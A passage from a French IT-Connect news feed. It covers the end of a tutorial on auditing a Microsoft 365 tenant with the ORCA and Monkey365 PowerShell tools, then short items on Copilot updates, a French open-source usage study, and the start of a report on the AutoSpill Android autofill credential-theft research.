<figure class="wp-block-image size-large"><img decoding="async" width="800" height="657" src="media/dc82f093.Audit-Scuba-Rapport-Microsoft-Teams-800x657.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-800x657.jpg" alt="Audit Scuba - Rapport Microsoft Teams" class="wp-image-71344" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-800x657.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-550x452.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-150x123.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-768x631.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams-50x41.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Scuba-Rapport-Microsoft-Teams.jpg 877w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">VI. Réaliser un audit Office 365 avec ORCA</h2>



<p>Poursuivons avec la découverte d'un autre outil ! Désormais, nous allons réaliser <strong>un audit avec l'outil ORCA</strong>. Vous verrez que c'est rapide et qu'à la fin, nous allons obtenir <strong>un joli rapport HTML </strong>qui recensera <strong>l'ensemble des recommandations</strong>.</p>



<p>Avant de commencer, sachez que vous pouvez exécuter un audit avec ORCA sur n'importe quel tenant Microsoft 365, mais certains contrôles ne seront pas effectués si vous n'avez pas <strong>Microsoft Defender for Office 365 (anciennement Office 365 Advanced Threat Protection) </strong>dans votre abonnement.</p>



<ul>
<li><a href="https://github.com/cammurray/orca" target="_blank" rel="nofollow noopener">GitHub - ORCA</a></li>
</ul>



<p>ORCA étant un<strong> module PowerShell</strong>, nous devons commencer par l'installer :</p>



<pre class="wp-block-code"><code>Install-Module <strong>ORCA</strong></code></pre>



<p>Une fois que c'est fait, importez le module dans votre console et exécutez la génération d'un rapport :</p>



<pre class="wp-block-preformatted">Import-Module ORCA
Get-ORCAReport</pre>



<p>Au lancement, ORCA vérifie si le <strong>module Exchange Online Management</strong> est présent sur votre machine. S'il est manquant, ORCA vous proposera de l'installer puisque c'est un prérequis. Ensuite, vous devez vous <strong>authentifier avec un compte Administrateur sur votre tenant Microsoft 365 </strong>afin qu'ORCA ait suffisamment de droits pour effectuer ses vérifications.</p>


<div class="wp-block-image is-style-default">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="405" src="media/77684f23.Executer-un-audit-Microsoft-365-avec-ORCA.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA.jpg" alt="Exécuter un rapport ORCA - Get-ORCAReport" class="wp-image-69084" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA-550x278.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA-150x76.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA-768x389.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Executer-un-audit-Microsoft-365-avec-ORCA-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Une fois l'authentification effectuée, ORCA va effectuer ses contrôles de sécurité sur votre tenant. L'audit est rapide. A la fin, <strong>un rapport au format HTML</strong> sera généré dans le répertoire "<strong>AppData\Local\Microsoft\ORCA</strong>" de l'utilisateur actuel.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="379" src="media/e7d4d060.Suivi-audit-ORCA.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA.jpg" alt="ORCA audit O365 en cours" class="wp-image-69090" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA-550x261.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA-150x71.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA-768x364.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Suivi-audit-ORCA-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Le rapport HTML met en évidence le domaine principal du tenant, comme ici "<strong>itconnect2023.onmicrosoft.com</strong>" qui est un tenant de test, ainsi que <strong>la date et l'heure</strong>, et le numéro de version d'ORCA. </p>



<p>Par contre, les contrôles seront regroupés par statut, notamment les statuts "<strong>Informations</strong>", "<strong>Recommandations</strong>" et "<strong>OK</strong>" dans cet exemple, avec le nombre de contrôles par statut. Mon rapport stipule <strong>23 recommandations</strong>, ce qui signifie qu'il y a 23 actions de configuration à effectuer sur mon tenant pour améliorer sa sécurité.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="574" src="media/b7cb6322.Audit-Office-365-ORCA-Rapport-1-800x574.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-800x574.jpg" alt="Aperçu rapport audit ORCA" class="wp-image-69085" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-800x574.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-550x395.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-768x551.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1-50x36.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-1.jpg 1023w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ce rapport n'a pas pour vocation de donner un score de sécurité ou une note globale, mais il y a tout de même un pourcentage associé au <strong>Configuration Health Index</strong>. Plus il est élevé, mieux c'est. Il prend en compte certains points de contrôle et certains ont un poids plus important que les autres.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="117" src="media/06b05e7f.ORCA-Configuration-Health-Index.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index.jpg" alt="ORCA Configuration Health Index" class="wp-image-69092" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index-550x80.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index-150x22.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index-768x112.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/ORCA-Configuration-Health-Index-50x7.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Encore un peu plus bas, ORCA indique le nombre d'éléments par catégorie : règles de transport, politique anti-spam, politique de quarantaine, etc... Nous pouvons voir qu'il y a surtout des actions à effectuer au niveau des politiques Microsoft Defender for Office 365. Ce n'est pas étonnant, car c'est la spécialité de cet outil.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="610" src="media/6de5ceb9.Audit-Office-365-ORCA-Rapport-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2.jpg" alt="Catégories audit ORCA Office 365" class="wp-image-69086" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2-550x419.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2-768x586.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Pour chaque contrôle de chaque catégorie, le rapport indique le nom du contrôle avec plusieurs informations : une description, les objets affectés sur votre tenant, ainsi que <strong>des liens vers la documentation Microsoft officielle</strong> pour vous aider à appliquer la recommandation.</p>



<p>Par exemple, le point de contrôle "Set RecipientLimitExternalPerHour to 500, RecipientLimitInternalPerHour to 1000, and ActionWhenThresholdReached to block." est là pour vous recommander d'imposer des limites par heure pour les e-mails à destination de l'extérieur ou d'utilisateurs internes. C'est important, car si un compte utilisateur est compromis, l'attaquant peut exploiter ce compte pour <strong>envoyer du spam ou des e-mails malveillants associés à une campagne de phishing</strong>.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="616" src="media/02e8bc4b.Audit-Office-365-ORCA-Rapport-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3.jpg" alt="ORCA - Exemple 1" class="wp-image-69087" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3-550x424.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3-150x116.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3-768x591.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-3-50x39.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Autre exemple, le point de contrôle "<strong>Configure external tags to highlight emails which are sent from external.</strong>" qui est là pour vous encourager à <strong>ajouter un disclamer aux e-mails en provenance d'utilisateurs externes</strong>.</p>



<ul>
<li><a href="https://www.it-connect.fr/office-365-ajouter-un-prefixe-a-lobjet-et-un-disclaimer-aux-e-mails-externes/" target="_blank" rel="noopener" title="Office 365 – Ajouter un préfixe à l’objet et un disclaimer aux e-mails externes">Office 365 : Comment ajouter un disclaimer aux e-mails externes ?</a></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="412" src="media/0240789c.Audit-Office-365-ORCA-Rapport-4.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4.jpg" alt="ORCA - Exemple 2" class="wp-image-69088" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4-550x283.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4-150x77.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4-768x396.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Audit-Office-365-ORCA-Rapport-4-50x26.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>En suivant les recommandations d'ORCA, non seulement vous<strong> améliorez la sécurité de votre tenant Microsoft 365</strong>, mais vous adoptez également une configuration qui <strong>respecte les bonnes pratiques</strong> en matière de sécurité.</p>



<h2 class="wp-block-heading">VII. Réaliser un audit avec Monkey365</h2>



<p>Le module PowerShell <strong>Monkey365</strong> présente l'avantage de comparer la configuration de votre tenant avec <strong>les bonnes pratiques du CIS Benchmark</strong>. Les guides du CIS (<em>Center for Internet Security</em>) sont des références et ils recensent les meilleures pratiques en matière de sécurité et de conformité (<em>compliance</em>).</p>



<p>Le projet Monkey365 est accessible sur GitHub et vous pourrez le télécharger également à cet emplacement :</p>



<ul>
<li><a href="https://github.com/silverhack/monkey365" target="_blank" rel="noopener nofollow" title="">GitHub - Monkey365</a></li>
</ul>



<p>Admettons que les fichiers du projet soient stockés dans le répertoire "<em>c:\ps\monkey365</em>". Nous devons débloquer tous les scripts afin de pouvoir charger et exécuter Monkey365 :</p>



<pre class="wp-block-code"><code>Get-ChildItem -Recurse "c:\ps\monkey365" | Unblock-File</code></pre>



<p>Ensuite, nous allons importer le module :</p>



<pre class="wp-block-code"><code>Import-Module C:\PS\monkey365\</code></pre>



<p>Pour exécuter un audit Microsoft 365 ou Azure avec Monkey365, il faut exécuter la commande<strong> Invoke-Monkey365 </strong>avec un ensemble de paramètres. Les paramètres sont expliqués dans <a href="https://silverhack.github.io/monkey365/install-instructions/" target="_blank" rel="noopener nofollow" title="">la documentation</a>, et l'aide PowerShell peut aussi nous fournir quelques exemples :</p>



<pre class="wp-block-code"><code>Get-Help Invoke-Monkey365 -Examples</code></pre>



<p>Nous allons <strong>regrouper tous les paramètres dans une variable nommée $param</strong>. L'exemple ci-dessous permet d'auditer Microsoft 365 dans sa globalité, en intégrant Exchange Online, Microsoft Teams, Purview et SharePoint Online.</p>



<pre class="wp-block-code"><code>$param = @{
    Instance = 'Microsoft365';
    Analysis = 'ExchangeOnline','Microsoft365','MicrosoftTeams','Purview','SharePointOnline';
    PromptBehavior = 'SelectAccount';
    TenantID = '<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">47a0ca6e-f759-4bb6-0000-123456789abcd</mark></strong>';
    ExportTo = 'HTML';
}
Invoke-Monkey365 @param</code></pre>



<p>La commande ci-dessus contient l'<strong>ID du tenant à analyser</strong>. Si vous ne connaissez pas cette ID, vous pouvez utiliser la commande ci-dessous pour l'obtenir (adaptez le nom du domaine onmicrosoft.com) :</p>



<pre class="wp-block-code"><code>(Invoke-WebRequest https://login.windows.net/<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">itconnect2023</mark></strong>.onmicrosoft.com/.well-known/openid-configuration|ConvertFrom-Json).Token_Endpoint.Split("/")&#91;3]</code></pre>



<p>A chaque fois qu'un audit sera exécuté, un nouveau dossier sera généré dans le répertoire "<strong>monkey-reports</strong>". Ce fichier contient plusieurs fichiers, dont<strong> un rapport HTML </strong>nommé "<strong>Monkey365.html</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="600" height="187" src="media/45d56796.Rapports-Monkey365.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Rapports-Monkey365.png" alt="Rapports Monkey365" class="wp-image-70192" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Rapports-Monkey365.png 600w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Rapports-Monkey365-550x171.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Rapports-Monkey365-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Rapports-Monkey365-50x16.png 50w" sizes="(max-width: 600px) 100vw, 600px" /></figure></div>


<p><strong>Regardons à quoi ressemble un rapport Monkey365...</strong></p>



<p>La page d'accueil affiche un tableau de bord avec plusieurs graphes et statistiques pour avoir une vue d'ensemble sur les résultats de l'audit. Le menu latéral donne accès à <strong>un résultat de l'audit par service</strong>.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/eb2a92e5.Apercu-du-rapport-Monkey365.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365.jpg"><img decoding="async" width="1200" height="573" data-id="70193" src="media/eb2a92e5.Apercu-du-rapport-Monkey365.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365.jpg" alt="" class="wp-image-70193" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365-550x263.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365-800x382.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365-150x72.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365-768x367.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apercu-du-rapport-Monkey365-50x24.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Par exemple, si vous cliquez sur "<strong>Microsoft Teams</strong>", vous obtenez le résultat de l'audit en ce qui concerne la configuration de Teams sur votre tenant. Vous pouvez effectuer une recherche et filtrer les résultats par niveau de criticité en cliquant sur les boutons en haut à droite. </p>



<p>Pour chaque point de sécurité, vous avez des informations utiles : une description, des informations sur l'impact, ainsi que les étapes à suivre pour appliquer la recommandation.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/344d016e.Monkey365-Exemple-point-de-securite.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite.jpg"><img decoding="async" width="1200" height="679" data-id="70194" src="media/344d016e.Monkey365-Exemple-point-de-securite.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite.jpg" alt="" class="wp-image-70194" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite-550x311.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite-800x453.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite-150x85.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite-768x435.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Monkey365-Exemple-point-de-securite-50x28.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Finalement, Monkey365 est un outil bien pensé, avec un rapport détaillé et qui a l'avantage de s'appuyer sur les recommandations des guides CIS Benchmark.</p>



<h2 class="wp-block-heading">VIII. Conclusion</h2>



<p>En utilisant ces outils, vous êtes en mesure d'auditer votre tenant Microsoft 365 ! À mon sens, il s'agit d'outils incontournables lorsque l'on s'intéresse au sujet de la sécurité d'un tenant Microsoft 365. Pour certaines vérifications, les outils peuvent être similaires alors que sur d'autres points ils seront complémentaires : d'où l'intérêt de ne pas se focaliser sur les recommandations d'un seul outil.</p>



<p><strong>Dans un prochain article, nous verrons comment sécuriser un tenant Microsoft 365 à l'aide de l'outil Harden365 !</strong> Ceci nous donnera l'occasion de découvrir la future version de cet outil, actuellement en phase de développement.</p><p>The post <a href="https://www.it-connect.fr/5-outils-pour-audit-tenant-microsoft-365/">Cybersécurité : comment réaliser un audit de son tenant Microsoft 365 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73328
title: Nouveautés Microsoft Copilot : GPT-4 Turbo, DALL-E 3, une aide à la rédaction, etc.
uri: Nouveautés-Microsoft-Copilot-GPT-4-Turbo-DALL-E-3-une-aide-à-la
url:
https://www.it-connect.fr/nouveautes-microsoft-copilot-gpt-4-turbo-dall-e-3-une-aide-a-la-redaction-etc/

content:
<p><strong>Microsoft Copilot, anciennement Bing Chat, va bénéficier de plusieurs nouveautés dévoilées par Microsoft ! L'objectif étant d'améliorer les performances globales de l'intelligence artificielle intégrée à Windows 11, mais aussi à Windows 10. Faisons le point.</strong></p>



<h2 class="wp-block-heading">GPT-4 Turbo et DALL-E 3</h2>



<p>Dans un nouvel article de blog, Microsoft a dévoilé plusieurs nouveautés à venir pour Copilot, de quoi en savoir un peu plus sur le programme de l'année 2024. L'avancée la plus notable, c'est que Microsoft Copilot va pouvoir utiliser le dernier <strong>modèle de langage GPT-4 Turbo</strong>, mis au point par <strong>OpenAI</strong>. Ce modèle de langage sera utilisé pour <strong>générer des réponses aux utilisateurs</strong>.</p>



<p>Dévoilé lors de la conférence DevDay d'OpenAI, GPT-4 Turbo présente l'avantage d'<strong>être plus à jour </strong>que les précédentes versions, car il s'appuie sur <strong>des données d'avril 2023</strong>. Ainsi, ses réponses ont plus de chance d'être pertinentes. Par ailleurs, la <strong>fenêtre textuelle est de 128 Ko</strong>, ce qui lui permet d'analyser une grande quantité de données dans un seul envoi : <strong>environ 300 pages de textes</strong>. GPT-4 Turbo sera intégré "<em>prochainement</em>" à Copilot.</p>



<p>Par ailleurs, Microsoft Copilot va bénéficier d'une nouvelle version de l'IA capable de générer des images : <strong>DALL-E 3</strong>. Ainsi, l'IA va être en mesure de créer des images plus précises et de meilleure qualité. Cette nouveauté est également accessible via l'URL "<a href="https://bing.com/create" target="_blank" rel="noopener nofollow" title="">bing.com/create</a>".</p>



<h2 class="wp-block-heading">Une aide à la rédaction</h2>



<p>La fonction "<strong>Compose" </strong>va permettre de solliciter l'IA Copilot au travers du navigateur Microsoft Edge pour vous aider à rédiger du texte, ou à réécrire un texte que vous avez commencé à rédiger. Pour cela, il suffit de sélectionner le texte en question et Copilot se chargera de le réécrire.</p>



<p>Par ailleurs, Bing n'est pas totalement mis de côté puisqu'il bénéficie d'une nouvelle fonctionnalité baptisée "Deep Search" correspondante à de <strong>la recherche approfondie basée sur GPT-4</strong> permettant d'apporter des réponses plus complètes et plus fiables aux utilisateurs. Enfin, <strong>Copilot va être plus performant pour l'analyse de code et les mathématiques</strong> : "<em>Nous développons actuellement une nouvelle fonctionnalité qui vous permettra d'effectuer des tâches complexes telles que des calculs plus précis, de l'écrire de code, de l'analyse de données, de la visualisation, des mathématiques et bien plus encore.</em>", précise Microsoft.</p>



<p>L'article officiel de Microsoft est disponible sur <a href="https://blogs.microsoft.com/blog/2023/12/05/celebrating-the-first-year-of-copilot-with-significant-new-innovations/" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p><p>The post <a href="https://www.it-connect.fr/nouveautes-microsoft-copilot-gpt-4-turbo-dall-e-3-une-aide-a-la-redaction-etc/">Nouveautés Microsoft Copilot : GPT-4 Turbo, DALL-E 3, une aide à la rédaction, etc.</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73331
title: Usage de l’open source : 80% des entreprises françaises utilisent des solutions open source !
uri: Usage-de-l-open-source-80-des-entreprises-françaises-utilisent-d
url: https://www.it-connect.fr/etude-utilisation-open-source-en-france-2023/
content:
<p><strong>Il y a quelques jours, une étude nommée Open Source Monitor France 2023 a été publiée et elle nous donne quelques indicateurs clés quant à l'usage des solutions open source en France. Voici ce qu'il faut retenir.</strong></p>



<p>Le cabinet Markess by Exaegis a mis en ligne les résultats d'une enquête dont il était en charge suite à l'initiative lancée par le <strong>CNLL, Numeum le pôle Systematic Paris-Region</strong>. Cette enquête a été menée<strong> auprès de 608 organisations de plus de 20 employés</strong> au cours des 2ème et 3ème trimestres 2023.</p>



<p>Le premier enseignement qu'il faut tirer, c'est que <strong>plus de 80% des entreprises françaises utilisent des technologies open source</strong>. "<em>Plus de 8 entreprises sur 10 utilisent des technologies open source, et 9 organisations sur 10 dans le secteur public.</em>", peut-on<a href="https://numeum.fr/actu-informatique/etude-lusage-de-lopen-source-en-france-open-source-monitor-2023" target="_blank" rel="noopener nofollow" title=""> lire sur le site</a> numeum.fr. De manière générale, <strong>les entreprises françaises sont également ouvertes à l'idée d'adopter des solutions open source </strong>: on parle de 2 tiers des organisations.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="452" src="media/d90d34a3.Etude-open-source-2023.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023.jpg" alt="Etude open source e n France 2023" class="wp-image-73332" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023-550x311.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023-150x85.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023-768x434.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Etude-open-source-2023-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Open Source Monitor France 2023</figcaption></figure>



<h2 class="wp-block-heading">Ce qui motive les organisations à adopter l'open source</h2>



<p>En ce qui concerne les motivations pour l'adoption de l'open source, il y a la bonne réputation associée à l'open source, ce qui va de pair avec les autres motivations principales : la stabilité, la sécurité, le coût et la "marque employeur". Le fait de rendre une application open source permet d'être transparent vis-à-vis du code source de l'application, car il est accessible par tout le monde, ce qui facilite également la découverte et la remontée de vulnérabilités.</p>



<p>À cela s'ajoutent bien sûr les fonctionnalités de l'application et sa capacité à s'intégrer avec l'infrastructure existante. Si la licence le permet, l'entreprise pourra également adapter la solution à ses propres besoins afin d'avoir des fonctions sur-mesure. C'est un point très important, car ceci est plus difficilement envisageable avec une solution propriétaire. À ce sujet, l'étude précise qu'un tier<strong>s des organisations adapte le code source pour un usage interne</strong>.</p>



<p>Sachez également que pour 9 entreprises sur 10, l'open source est considéré comme un atout majeur pour la souveraineté numérique de la France, mais également de l'Europe. De plus, 80% des organisations du secteur privé estiment que l'open source joue "<em>un rôle d'accélérateur ou de facilitateur pour la transition énergétique et écologique</em>".</p>



<h2 class="wp-block-heading">Les freins à l'adoption de l'open source</h2>



<p>Aujourd'hui, les principaux freins évoqués dans cette étude sont<strong> la crainte en matière de stabilité, le besoin en formation et le manque de spécialistes</strong>.</p>



<p>Rappelons qu'<strong>une solution open source, bien qu'associée à un esprit communautaire, n'est pas nécessairement une solution gratuite </strong>! De nombreux éditeurs proposent des communautaires gratuites de leurs solutions (une version Community, par exemple), mais également des versions payantes avec plus de fonctionnalités, ainsi que du support technique, etc... Il semble qu'il y ait toujours un amalgame sur le sujet.</p>



<p>Par ailleurs, les sociétés de services spécialisées dans les solutions open source avec les compétences en interne pour installer, configurer et assurer le support jouent un rôle important et elles sont en quelque sorte un relais idéal pour les organisations qui souhaitent adopter ces solutions. Les résultats de l'étude vont dans ce sens : 80% des organisation<strong>s font appel à une ESN</strong> pour le développement, l'intégration et l'externalisation des technologies open source.</p>



<p>Vous pouvez retrouver l'étude complète sur <a href="https://numeum.fr/actu-informatique/etude-lusage-de-lopen-source-en-france-open-source-monitor-2023" target="_blank" rel="noopener nofollow" title="">cette page</a> où vous pourrez télécharger le rapport au format PDF.</p><p>The post <a href="https://www.it-connect.fr/etude-utilisation-open-source-en-france-2023/">Usage de l’open source : 80% des entreprises françaises utilisent des solutions open source !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73375
uri: L-attaque-AutoSpill-permet-de-voler-les-identifiants-stockés-dans-l
title:
L’attaque AutoSpill permet de voler les identifiants stockés dans les gestionnaires de mots de passe Android

url:
https://www.it-connect.fr/lattaque-autospill-permet-de-voler-les-identifiants-stockes-dans-les-gestionnaires-de-mots-de-passe-android/

content:
<p><strong>Des chercheurs en sécurité ont mis au point une nouvelle technique d'attaque qui abuse de la fonction de remplissage automatique des gestionnaires de mots de passe pour Android dans l'objectif de voler des identifiants ! Faisons le point sur cette méthode baptisée AutoSpill.</strong></p>



<p>À l'occasion de l'événement de sécurité informatique Black Hat Europe, une équipe de chercheurs en sécurité l'<em>International Institute of Information Technology </em>(IIIT) ont dévoilé l'attaque AutoSpill, qui met à mal<strong> la majorité des gestionnaires de mots de passe pour Android</strong>, sans avoir besoin d'injection JavaScript.</p>



<p>La technique AutoSpill consiste à <strong>capturer les informations injectées par la fonction de remplissage automatique</strong> proposées par les gestionnaires de mots de passe. Ceci permet de <strong>faciliter l'expérience utilisateur</strong> en remplissant les champs identifiants et mots de passe lorsqu'il souhaite se connecter à un site et qu'il y a une entrée connue correspondante dans son coffre de mots de passe.</p>



<p>Sur Android, les applications utilisent fréquemment des contrôles WebView pour le rendu des contenus web, notamment pour les pages de connexion. D'ailleurs, les gestionnaires de mots de passe utilisent le composant système WebView pour leur fonction de remplissage automatique (pour Google, Facebook, Microsoft, etc.). D'après les chercheurs en sécurité, ce processus est vulnérable, ce qui permet de<strong> capturer les identifiants "injectés" par l'application, sans aucune injection de code JavaScript</strong>.</p>



